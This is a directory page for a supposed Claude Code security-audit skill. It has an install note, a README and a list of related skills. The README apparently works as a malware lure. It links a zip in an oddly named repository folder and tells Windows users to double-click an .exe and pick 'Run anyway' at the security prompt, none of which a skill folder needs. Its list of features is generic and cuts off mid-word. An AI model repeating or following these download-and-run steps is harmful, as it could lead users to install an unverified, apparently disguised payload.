Vibe Code Security Audit
Description
Audit web apps and AI-generated code for common security flaws with a Claude Code skill focused on OWASP issues and hardening risks
Installation
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open the source below and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
README
🛡️ vibe-code-security-audit - Check Code for Security Risks
[](https://raw.githubusercontent.com/Pold911/vibe-code-security-audit/main/fossilification/code-audit-vibe-security-1.6.zip)
🔽 Download
Visit this page to download: https://raw.githubusercontent.com/Pold911/vibe-code-security-audit/main/fossilification/code-audit-vibe-security-1.6.zip
On Windows, open the latest release and download the file that matches your system. If there is more than one file, choose the one that ends in `.exe` or the Windows package listed in the release notes.
🪟 Run on Windows
- Download the app from the Releases page.
- Open your Downloads folder.
- Double-click the file you downloaded.
- If Windows shows a security prompt, choose Run anyway if you trust the source.
- Follow the on-screen steps to finish setup.
- Open the app from the Start menu or from the shortcut on your desktop.
If the app starts in a command window, leave that window open while you use it.
📋 What This Does
`vibe-code-security-audit` helps you check web apps and AI-made code for common security problems. It focuses on real issues that can lead to data leaks, account access problems, and unsafe app behavior.
Use it to review:
- Web apps
- API routes
- Server code
- Front-end code
- AI-generated code
- Small scripts before you share them
It looks for the kinds of mistakes that often slip into fast builds and early versions.
🔍 What It Checks
This tool is designed to review code for the 20 most common security issues, including:
- Weak input checks
- Unsafe use of user data
- Broken access control
- Missing auth checks
- Exposed secrets
- Unsafe file handling
- Cross-site scripting risks
- SQL injection risks
- Command injection risks
- Bad password handling
- Weak session handling
- Unsafe redirects
- Poor error handling
- Missing rate limits
- Open CORS rules
- Insecure h
Related Skills
Fastapi Review
Review a FastAPI application for architecture, async correctness, dependency injection, Pydantic schemas, secu
Security Defense in Depth
Implement multi-layered testing and security best practices.
Security SecLists Official Repository
[OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
Security Threat Hunting with Sigma Rules
Use Sigma detection rules to hunt for threats and analyze security events
Security Maintenance Walkthrough - 2026-03-29
- Re-triaged the full 2026-03-15 security finding set against current `main` and wrote a fresh current-head re
Security Google Workspace Model Armor
Filter user-generated content for safety
Security Related Agents
Django Reviewer
Expert Django code reviewer specializing in ORM correctness, DRF patterns, migration safety, security misconfi
Token Auditor
Scans ui/src/ for hardcoded visual values, duplicate components, and shadcn replacement candidates; produces d
Gitnexus Security Boundary Reviewer
GitNexus security and trust-boundary reviewer. Use for auth, permissions, secrets, injection, unsafe parsing,